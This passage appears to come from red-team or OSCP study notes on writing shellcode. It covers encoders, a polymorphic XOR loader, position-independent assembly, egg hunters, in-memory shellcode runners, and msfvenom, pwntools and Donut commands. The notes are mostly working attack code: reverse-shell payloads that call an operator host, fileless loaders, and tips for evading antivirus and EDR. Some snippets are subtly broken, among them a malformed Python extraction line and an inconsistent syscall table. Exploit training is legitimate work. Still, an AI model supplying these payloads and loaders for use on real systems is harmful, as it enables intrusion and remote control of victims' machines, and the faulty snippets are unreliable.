# Alphanumeric (when only printable chars allowed)
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/alpha_mixed BufferRegister=EAX \
-f c -b "\x00"
11.4 Custom Polymorphic Encoder
# Generate a polymorphic XOR shellcode loader in Python
import os, random
def make_polymorphic(shellcode):
key = os.urandom(1) or 0x41 # avoid 0 key
# Encode
enc = bytes([b ^ key for b in shellcode])
# Random variable names
var1 = ''.join(random.choices('abcdefghijklmnop', k=6))
var2 = ''.join(random.choices('abcdefghijklmnop', k=6))
code = f"""
import ctypes, mmap
{var1} = bytearray(b'{"".join(chr(b) for b in enc)}'.encode('latin1'))
{var2} = bytearray([b ^ {key} for b in {var1}])
m = mmap.mmap(-1, len({var2}),
prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)
m.write(bytes({var2}))
m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(
ctypes.c_char.from_buffer(m))), ctypes.CFUNCTYPE(None))
f()
"""
return code
12. Position Independent Code (PIC)
What it means: Shellcode cannot use absolute memory addresses — it has no idea where in memory it will land. Every address reference must be computed relative to the current position. This is called Position Independent Code (PIC). Techniques include JMP/CALL/POP, RIP-relative addressing (x64), and computing offsets at runtime.
12.1 RIP-Relative Addressing (x64)
; x64 supports RIP-relative LEA — easiest PIC method
; LEA RDI, [RIP + offset] calculates address relative to current instruction
section .text
global _start
_start:
; Get address of data relative to RIP
lea rdi, [rel bin_sh] ; RDI = &"/bin//sh" (PIC!)
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
bin_sh:
db "/bin//sh", 0
12.2 CALL/POP for x86 PIC
; CALL pushes the address of the next byte onto stack
; POP retrieves it — gives you the current instruction pointer
call get_rip ; push address of "data:" onto stack
data:
db "/bin//sh", 0x00
db 0x41 ; placeholder for NULL termination fix
get_rip:
pop ebx ; EBX = address of "data:"
; now [ebx] = "/bin//sh\0"
; Use EBX to reference data by offset
12.3 Stack-Based String Building (No Data Section)
; Avoid using a .data section entirely
; Build strings on the stack at runtime
xor eax, eax
push eax ; null terminator (from zeroed EAX)
push 0x68732f6e ; "n/sh"
push 0x69622f2f ; "//bi"
push 0x7273752f ; "/usr" ← example for /usr/bin/sh
; adjust for desired path
mov ebx, esp ; EBX points to string on stack
13. Egg Hunters
What it means: An egg hunter is a tiny shellcode (~32 bytes) that searches the entire process virtual address space looking for a special marker (the "egg") followed by the real shellcode. This is used in limited-buffer exploits where the overflow space is too small for a full payload but you can place the real shellcode elsewhere in memory (heap, another buffer, env variable).
13.1 How Egg Hunters Work
Memory layout with egg hunter:
┌────────────────────────────────────────────────────┐
│ Small buffer overflow → egg hunter (~32 bytes) │
│ (fits in overflowed buffer) │
│ │
│ Somewhere in memory (heap, env, another buffer): │
│ [EGG][EGG] + [full shellcode] │
│ e.g.: \x57\x30\x30\x74\x57\x30\x30\x74 │
│ ← egg × 2 → ← your shellcode → │
│ │
│ Egg hunter scans all memory → finds [EGG][EGG] │
│ → jumps to shellcode after the egg │
└────────────────────────────────────────────────────┘
13.2 SIGFAULT-Safe Egg Hunter (x86)
; NtAccessCheckAndAuditAlarm egg hunter — Linux/Windows safe
; Uses access() syscall to check memory accessibility before reading
; Avoids SIGSEGV when scanning unmapped pages
; Egg = 0x50905090 (two times = 8 bytes before shellcode)
global _start
section .text
_start:
xor edx, edx ; EDX = page start
next_page:
or dx, 0xfff ; round up to next page boundary
next_address:
inc edx ; EDX = next address to check
; Use access() syscall to test if address is readable
; access() syscall = 33 on x86
lea ebx, [edx+0x4] ; check 4 bytes ahead
push 0x21 ; access syscall = 33 (0x21)
pop eax
int 0x80
cmp al, 0xf2 ; EFAULT = 0xf2 = bad address
je next_page ; skip to next page if inaccessible
; Address is readable — check for egg
mov eax, 0x50905090 ; our egg value
cmp [edx], eax ; is first dword = egg?
jnz next_address ; no — try next address
cmp [edx+0x4], eax ; is second dword = egg?
jnz next_address ; no — might be a false positive
; Found [egg][egg] — jump to shellcode (8 bytes past egg start)
jmp edx ; jump to egg — shellcode is right after both eggs
13.3 Using the Egg Hunter
# Egg hunter shellcode = ~32 bytes (use in overflow buffer)
# Full shellcode prefixed with EGG × 2, placed elsewhere
# Python — generate egg-prefixed shellcode
egg = b"\x90\x50\x90\x50" # egg value (4 bytes)
marker = egg + egg # two eggs = 8 byte marker
shellcode = b"\x31\xc0\x50\x68..." # your full shellcode
final_payload = marker + shellcode # inject this into heap/env
14. Shellcode Testing & Debugging
What it means: Before deploying shellcode in an exploit, test it in a controlled environment. Use C wrappers to execute it, GDB to step through it, and strace to observe syscalls. This catches null bytes, bad characters, and logical errors before you're debugging a live exploit.
14.1 C Shellcode Runner
// shellcode_runner.c — universal shellcode tester
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] = {
// paste your shellcode bytes here
0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, 0x31, 0xd2,
0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62,
0x69, 0x6e, 0x89, 0xe3, 0x51, 0x53, 0x89, 0xe1,
0xb0, 0x0b, 0xcd, 0x80
};
int main() {
printf("[*] Shellcode length: %zu bytes\n", sizeof(shellcode));
// Allocate executable memory (mmap RWX region)
void *exec_mem = mmap(0, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap failed");
return 1;
}
// Copy shellcode to executable region
memcpy(exec_mem, shellcode, sizeof(shellcode));
// Execute
printf("[*] Jumping to shellcode...\n");
fflush(stdout);
((void(*)())exec_mem)();
return 0;
}
# Compile (no protections for testing)
gcc -fno-stack-protector -z execstack -no-pie -o runner shellcode_runner.c
./runner
# 32-bit
gcc -m32 -fno-stack-protector -z execstack -no-pie -o runner32 shellcode_runner.c
./runner32
14.2 GDB Debugging Shellcode
# Debug the runner
gdb ./runner
# GDB commands
(gdb) break main
(gdb) run
(gdb) disassemble main
(gdb) ni # next instruction (step over)
(gdb) si # step into
(gdb) x/20xb $esp # examine 20 bytes at stack pointer
(gdb) x/20i $eip # disassemble 20 instructions from EIP
(gdb) x/s $ebx # print string at EBX
(gdb) info registers # show all register values
(gdb) p/x $eax # print EAX in hex
(gdb) set $eip = <addr> # jump to address
# Run until shellcode and inspect
(gdb) break *0x<shellcode_addr>
(gdb) x/30xb 0x<shellcode_addr> # view shellcode bytes in memory
# Examine stack
(gdb) x/40xw $esp
14.3 strace — Syscall Tracing
# Trace syscalls made by shellcode runner
strace ./runner 2>&1
# Filter specific syscalls
strace -e execve,socket,connect,dup2 ./runner
# Output shows:
# execve("/bin/sh", NULL, NULL) = 0 ← success!
# connect(3, {sa_family=AF_INET, sin_port=htons(4444), ...}, 16) = 0
14.4 ndisasm / objdump — Disassemble Raw Bytes
# ndisasm — disassemble raw shellcode bytes
echo -ne "\x31\xc0\x31\xdb\x31\xc9\xb0\x0b\xcd\x80" | ndisasm -u -
# -u = 32-bit, -b 64 = 64-bit
# From file
ndisasm -u shellcode.bin
# objdump from binary
objdump -d -M intel shell_elf
# Python — quick disassemble with pwntools
python3 -c "
from pwn import *
context.arch = 'amd64'
sc = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
print(disasm(sc))
"
15. Shellcode Extraction & Formatting
What it means: After writing and assembling your shellcode, you need to extract the raw bytes and format them for your exploit — as a C char array, Python bytes string, hex string, or raw binary. Automating this saves time and reduces errors.
15.1 Extract from Compiled ELF
# Method 1: objdump + cut
objdump -d ./shellcode | grep "^\s" | cut -f2 | \
perl -pe 's/(\w{2})\s*/\\x$1/g' | \
tr -d '\n' | sed 's/^/shellcode = b"/' | sed 's/$/"/'
# Method 2: objcopy — extract .text section as raw binary
objcopy -O binary --only-section=.text shellcode shellcode.bin
xxd shellcode.bin
# Method 3: Python script for clean extraction
python3 << 'EOF'
import subprocess
result = subprocess.run(['objdump', '-d', './shellcode'],
capture_output=True, text=True)
hex_bytes = []
for line in result.stdout.split('\n'):
if line.startswith(' ') and ':' in line:
parts = line.split('\t')
if len(parts) >= 2:
hex_bytes.extend(parts.split())[1]
shellcode = ''.join(f'\\x{b}' for b in hex_bytes)
print(f'Length: {len(hex_bytes)} bytes')
print(f'C: unsigned char sc[] = "{shellcode}";')
print(f'Python: sc = b"{shellcode}"')
EOF
15.2 Format Conversion
# Raw binary → C array
xxd -i shellcode.bin
# Hex → Python bytes
echo "31c050682f2f7368682f62696e89e35053" | \
python3 -c "import sys; d=sys.stdin.read().strip(); print('b\"'+
''.join(f'\\\\x{d[i:i+2]}' for i in range(0,len(d),2))+'\"')"
# Base64 encode shellcode
cat shellcode.bin | base64
cat shellcode.bin | base64 -w 0 # no line wrap
# Base64 decode and run (in-memory loader)
python3 -c "
import base64, ctypes, mmap
sc_b64 = 'AAEC...' # your base64 shellcode
sc = base64.b64decode(sc_b64)
m = mmap.mmap(-1, len(sc), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC,
flags=mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE)
m.write(sc)
m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(m))),
ctypes.CFUNCTYPE(None))
f()
"
15.3 Python In-Memory Shellcode Executor
#!/usr/bin/env python3
# Execute shellcode in memory — no file drop
import ctypes
import mmap
import sys
# Paste shellcode as bytes
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
b"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
b"\x69\x6e\x89\xe3\x51\x53\x89\xe1"
b"\xb0\x0b\xcd\x80"
)
print(f"[*] Shellcode length: {len(shellcode)} bytes")
# Create anonymous RWX mapping
sh = ctypes.create_string_buffer(shellcode, len(shellcode))
exec_mem = ctypes.cast(sh, ctypes.CFUNCTYPE(ctypes.c_void_p))
print("[*] Executing shellcode...")
exec_mem()
16. Custom Shellcode Tools
What it means: Several tools automate shellcode generation, testing, and analysis. Understanding these tools — and when to write custom shellcode vs using them — separates good red teamers from great ones.
16.1 pwntools — Shellcode Generation
from pwn import *
# Set architecture
context.arch = 'amd64' # or 'i386', 'arm', 'mips'
context.os = 'linux' # or 'windows'
context.bits = 64
# Generate shellcode
sc = shellcraft.linux.sh() # /bin/sh spawner
sc = shellcraft.linux.execve('/bin/sh', ['/bin/sh'], None)
sc = shellcraft.linux.tcp.connect('127.0.0.1', 4444)
sc = shellcraft.linux.reverse_tcp('127.0.0.1', 4444)
sc = shellcraft.linux.bind_tcp('0.0.0.0', 4444)
# Assemble to bytes
payload = asm(sc)
print(disasm(payload))
print(hexdump(payload))
# Quick one-liner
print(asm(shellcraft.sh()))
# x86 shellcode
context.arch = 'i386'
print(asm(shellcraft.sh()))
# Avoid bad chars
payload = asm(sc)
if b'\x00' in payload:
print("WARNING: null bytes present!")
16.2 msfvenom Complete Reference
# List all payloads
msfvenom -l payloads | grep -i "linux/x64"
msfvenom -l payloads | grep -i "windows/x64"
# Payload options
msfvenom -p linux/x64/shell_reverse_tcp --list-options
# Linux payloads
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f c
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f c -b "\x00"
msfvenom -p linux/x64/exec CMD="id" -f c
# Windows payloads
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f raw
msfvenom -p windows/exec CMD="calc.exe" -f c
# Output formats
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
-f c # C char array
-f python # Python bytes
-f raw # raw binary
-f elf # ELF binary
-f exe # Windows PE
-f dll # Windows DLL
-f asp # ASP webshell
-f aspx # ASPX webshell
-f jsp # JSP webshell
-f powershell # PowerShell byte array
-f bash # bash escape format
-f base64 # base64 encoded
# Exclude bad characters
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 \
-f c -b "\x00\x0a\x0d\x20"
16.3 Donut — Convert PE/DLL/.NET to Shellcode
# Donut converts executables to position-independent shellcode
# Great for inject-and-run — no need to write shellcode by hand
# https://github.com/TheWover/donut
# Convert EXE to shellcode
donut -i Rubeus.exe \
-a 2 \ # arch: 2 = x64, 1 = x86, 3 = both
-f 1 \ # output format: 1=raw, 2=base64, 7=C
-o rubeus.bin \
-p "kerberoast /outfile:hashes.txt" # args
# Convert DLL to shellcode
donut -i evil.dll -a 2 -e 3 -o evil_shell.bin
# -e 3 = entropy / obfuscation level
# Convert .NET assembly
donut -i SharpHound.exe \
-a 2 -f 7 \ # output as C
-o sharpound.c \
-p "-c All" # args to the assembly
# Result: position-independent shellcode you inject into any process
17. Cheat Sheet
Syscall Quick Reference
Linux x86 (int 0x80) Linux x64 (syscall) Purpose
EAX=1, EBX=code RAX=60, RDI=code exit()
EAX=3, EBX=fd RAX=0, RDI=fd read()
EAX=4, EBX=fd RAX=1, RDI=fd write()
EAX=5, EBX=path RAX=2, RDI=path open()
EAX=11, EBX=path RAX=59, RDI=path execve()
EAX=33, EBX=old,ECX=new RAX=33, RDI=old,RSI=new dup2()
EAX=41 RAX=41 socket()
EAX=42 RAX=42 connect()
EAX=43 RAX=43 accept()
EAX=49 RAX=49 bind()
EAX=50 RAX=50 listen()
EAX=63, EBX=fd RAX=33, RDI=fd dup2()
EAX=102 (socketcall) (direct syscalls) all socket ops
Register Zero Tricks (No Null Bytes)
; Zero a register (all produce 0x00 bytes in instruction stream)
xor eax, eax ; 31 c0 ← preferred (2 bytes, no nulls)
sub eax, eax ; 29 c0
mul ebx ; 0 in EAX if EBX=0 (side effect)
and eax, 0 ; 83 e0 00 ← has null!
mov eax, 0 ; b8 00 00 00 00 ← has nulls!
One-Liner Tools
# Assemble NASM and extract bytes
nasm -f elf64 shell.asm -o shell.o && \
ld -o shell shell.o && \
objdump -d shell | grep '^\s' | \
cut -f2 | perl -pe 's/(\w{2})\s*/\\x$1/g' | tr -d '\n'
# Check shellcode for null bytes
objdump -d ./shellcode | grep -P "\s00\s"
# Quick shellcode runner (one-liner)
python3 -c "
import ctypes, mmap
sc = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
m = mmap.mmap(-1, len(sc), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC,
flags=mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE)
m.write(sc); m.seek(0)
f = ctypes.cast(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(m))),
ctypes.CFUNCTYPE(None))
f()
"
# ndisasm raw bytes
echo -ne "\x31\xc0\x50\xb0\x0b\xcd\x80" | ndisasm -b 32 -
echo -ne "\x31\xc0\x50\xb0\x0b\x0f\x05" | ndisasm -b 64 -
# pwntools generate + print
python3 -c "from pwn import *; context.arch='amd64'; print(disasm(asm(shellcraft.sh())))"
# msfvenom linux reverse shell one-liner
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f py -b "\x00"
# msfvenom windows reverse shell one-liner
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f c -b "\x00"
# strace shellcode runner
strace -e execve,socket,connect,dup2,bind,listen,accept ./runner
# Donut — PE to shellcode
donut -i tool.exe -a 2 -f 1 -o shell.bin -p "args here"
Common Shellcode Sizes Reference
Payload Arch Size (bytes) ──────────────────────────────────────────────────── execve /bin/sh (manual) x86 28 execve /bin/sh (manual) x64 31 execve /bin/sh (msfvenom) x86 24 execve /bin/sh (msfvenom) x64 27 Reverse shell (msfvenom raw) x86 68 Reverse shell (msfvenom raw) x64 74 Bind shell (msfvenom raw) x86 78 Bind shell (msfvenom raw) x64 86 Egg hunter (SIGSEGV safe) x86 32 XOR decoder stub x86 ~20 Windows reverse TCP (msfvenom) x64 460 Windows Meterpreter (staged) x64 510
Shellcode Development Workflow
- Write in NASM (Intel syntax) ↓
- Assemble: nasm -f elf64 shell.asm -o shell.o ↓
- Link: ld -o shell shell.o ↓
- Test binary directly: ./shell ↓
- Check for null bytes: objdump -d shell | grep "^\s" | grep " 00 " ↓ [If nulls found] → fix with xor, sub-register, encoding ↓
- Extract shellcode bytes: objdump -d shell | grep "^\s" | cut -f2 | perl -pe 's/(\w{2})\s*/\x$1/g' ↓
- Test in C wrapper: gcc -z execstack -no-pie -o runner runner.c && ./runner ↓
- Debug with GDB / strace if needed ↓
- Encode (if bad chars): msfvenom -e x86/shikata_ga_nai / custom XOR ↓
- Deploy in exploit / inject via shellcode runner
Architecture Decision Reference
Target is 32-bit process (x86)? → Use x86 shellcode (int 0x80, EAX/EBX/ECX...) → Compile runner: gcc -m32 ...
Target is 64-bit process (x64)? → Use x64 shellcode (syscall, RAX/RDI/RSI...) → Compile runner: gcc (default)
Target is Windows? → No Linux syscalls! → Use PEB walk → EAT parse → WinAPI → msfvenom windows/x64/shell_reverse_tcp → Donut for PE→shellcode conversion
Limited buffer space? → Use egg hunter (32 bytes) in overflow → Place real shellcode in heap/env
Bad chars filtering (alphanumeric only)? → msfvenom -e x86/alpha_mixed BufferRegister=EAX
AV/EDR scanning memory? → Encrypt shellcode (AES/XOR) → Module stomping (live in signed DLL) → Sleep obfuscation (see EDR Evasion notes)
Key Port Encodings (Big Endian for Sockets)
Port Decimal Big-Endian Hex NASM push ──────────────────────────────────────────────── 21 FTP 0x0015 push word 0x1500 22 SSH 0x0016 push word 0x1600 80 HTTP 0x0050 push word 0x5000 443 HTTPS 0x01bb push word 0xbb01 1234 Custom 0x04d2 push word 0xd204 4444 Default 0x115c push word 0x5c11 8080 Alt HTTP 0x1f90 push word 0x901f 9001 Default 0x2329 push word 0x2923
Common IP Encodings (Little Endian for sin_addr)
# Convert IP to little-endian dword for push in shellcode
import socket, struct
def ip_to_hex(ip):
packed = socket.inet_aton(ip)
le = struct.unpack("<I", packed)[0]
return hex(le)
# Examples:
# 127.0.0.1 → 0x0100007f
# 192.168.1.100 → 0x6401a8c0
# 10.10.10.10 → 0x0a0a0a0a ← has null bytes! (10=0x0a)
# 10.10.10.10 fix → use XOR encoding for the IP dword
ip_to_hex("192.168.1.100") # → 0x6401a8c0
ip_to_hex("127.0.0.1") # → 0x0100007f ← has null bytes!
Null-Byte-Free IP Handling
; Problem: IP 127.0.0.1 = 0x0100007f contains multiple \x00 ; Solution: XOR the IP dword with a known key
; IP: 127.0.0.1 = 0x0100007f ; Key: 0x01010101 ; XOR: 0x0101017e ← no null bytes!
; In shellcode: mov eax, 0x0101017e ; XOR'd IP value (no nulls) xor eax, 0x01010101 ; decode to get 0x0100007f (127.0.0.1) push eax ; push real IP value
Key Takeaways for Shellcode Mastery
Foundations first:
- Master execve /bin/sh by hand — if you can write this from scratch, you understand the full stack
- Null byte avoidance is not optional — debug it before anything else
- JMP/CALL/POP and RIP-relative addressing are the two PIC techniques you'll use 90% of the time
Workflow for real engagements:
- Quick payload: msfvenom or pwntools shellcraft — generates clean, tested shellcode in seconds
- AV-evading payload: Write custom shellcode + AES encrypt → decrypt stub + inject (reference EDR Evasion notes)
- Tight buffer / egg hunter: Write or borrow the 32-byte SIGSEGV-safe hunter, place real shellcode in heap/env
- Windows targets: Use Donut to convert your C2 beacon EXE into raw shellcode — far easier than hand-writing Windows shellcode
OSCP context:
- x86 Linux shellcode is tested directly in BOF modules — know it cold
- msfvenom output formats (-f c, -f py, -f raw) are your daily tools
- pwntools + shellcraft cuts shellcode development from hours to minutes
- Always test with strace — if execve("/bin/sh"...) appears in the trace, your shellcode works